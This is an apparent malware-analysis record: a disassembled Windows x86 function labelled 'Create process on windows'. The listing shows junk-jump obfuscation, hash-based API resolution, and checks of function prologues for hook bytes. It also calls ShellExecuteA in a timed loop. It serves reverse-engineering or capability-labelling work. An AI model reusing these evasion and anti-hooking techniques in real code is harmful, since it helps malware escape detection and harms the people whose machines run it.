Function at 0x1000e0d8
Capabilities:
Create process on windows

Disassembly:
jae 0x1000dfdf
jmp 0x1000dfda
call fcn.1000dfe1
jae 0x1000dfda
add esp, 4
jmp 0x1000dfe6
dec dword [esp]
jno 0x1000dfeb
jns 0x1000dfd6
jp 0x1000dfef
add esp, 4
popf
jmp 0x1000dff6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e00f
jne 0x1000e00f
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x1000e014
jmp 0x1000e016
je 0x1000e011
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000e030
jne 0x1000e02f
call 0x9304d0b7
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000e03e
jne 0x1000e03e
call 0x77bd08aa
mov byte [ebp - 0xc373], cl
invalid
push 0x8867bc28
lea ecx, [ebp - 0xc4]
call 0x1000e5b0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 1
push 0x55e3cdf3
lea ecx, [ebp - 0x94]
call fcn.1000e570
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x94]
call fcn.100095f0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc4]
call fcn.10009630
xor eax, eax
test eax, eax
je 0x1000e0af
add esi, dword [ebp]
jne 0x1000e0ae
call 0x9304d136
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1000e0bd
jmp 0x1000e0bf
je 0x1000e0ba
clc
jae 0x1000e0c4
jp 0x1000e0ab
je 0x1000e0c9
jne 0x1000e0c9
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x1000e0d6
jmp 0x1000e0d1
call 0x1000e0d8
jae 0x1000e0d1
add esp, 4
jmp 0x1000e0dd
dec dword [esp]
jno 0x1000e0e2
jns 0x1000e0cd
jp 0x1000e0e6
add esp, 4
popf
jmp 0x1000e0ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e106
jne 0x1000e106
call 0x1fc1145a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 0xffbbd88e
push eax
lea ecx, [ebp - 0xb4]
call fcn.1000e5f0
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
push 0x55e3cdf3
lea ecx, [ebp - 0xa4]
call fcn.1000e570
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0xa4]
call fcn.100095f0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb4]
call fcn.100095f0
push 0x754f2956
lea ecx, [ebp - 0xec]
call fcn.1000dc50
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 3
push 0x672b36f6
lea ecx, [ebp - 0x84]
call fcn.1000e4b0
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x84]
call fcn.10009610
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xec]
call fcn.10009650
mov ecx, 1
test ecx, ecx
je 0x1000e47a
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp - 0x48]
movzx edx, byte [ecx + eax]
cmp edx, 0xe9
je 0x1000e27e
mov eax, 0x90a93732
push eax
lea ecx, [ebp - 0x188]
call fcn.1000e630
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 4], 4
mov ecx, dword [ebp - 0x50]
call fcn.1000a500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.1000e490
push 0x453c33fa
lea ecx, [ebp - 0x10c]
call fcn.1000e670
mov dword [ebp - 0x54], eax
push 5
push 0
push 0
mov edx, dword [ebp - 0x54]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x10c]
call fcn.1000e4a0
call fcn.1000a390
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + ecx]
cmp eax, 0xc3
je 0x1000e2cd
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + edx]
cmp ecx, 0xe9
je 0x1000e2cd
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + eax]
cmp edx, 0x90
jne 0x1000e2d2
call fcn.1000a390
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp - 0x14]
movzx eax, byte [edx + ecx]
cmp eax, 0xc3
je 0x1000e325
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 0x14]
movzx ecx, byte [eax + edx]
cmp ecx, 0xe9
je 0x1000e325
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + eax]
cmp edx, 0x90
jne 0x1000e3d6
mov eax, 0xef0baf93
push eax
lea ecx, [ebp - 0x1e4]
call fcn.1000e6b0
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x5c]
call fcn.1000a500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e4]
call fcn.1000e490
clc
jae 0x1000e365
les ecx, [edi + 0xa6a9c66]
pushf
push 0xa
jae 0x1000e372
jmp 0x1000e36d
call 0x1000e374
jae 0x1000e36d
add esp, 4
jmp 0x1000e379
dec dword [esp]
jno 0x1000e37e
jns 0x1000e369
jp 0x1000e382
add esp, 4
popf
jmp 0x1000e389
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1000e3a2
jne 0x1000e3a2
invalid
jl 0x1000e3a7
jmp 0x1000e3a9
je 0x1000e3a4
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1000e3c3
jne 0x1000e3c2
call 0x9304d44a
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1000e3d1
jne 0x1000e3d1
call 0xfc09ebd
jmp [eax - 0x18]
call fcn.1000a390
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp - 0x60]
movzx edx, byte [ecx + eax]
cmp edx, 0xe9
je 0x1000e46a
mov eax, 0x90a93732
push eax
lea ecx, [ebp - 0x240]
call fcn.1000e630
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 4], 6
mov ecx, dword [ebp - 0x68]
call fcn.1000a500
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
call fcn.1000e490
push 0x453c33fa
lea ecx, [ebp - 0x12c]
call fcn.1000e670
mov dword [ebp - 0x6c], eax
push 5
push 0
push 0
mov edx, dword [ebp - 0x6c]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x12c]
call fcn.1000e4a0
call fcn.1000a390
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000e1e8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret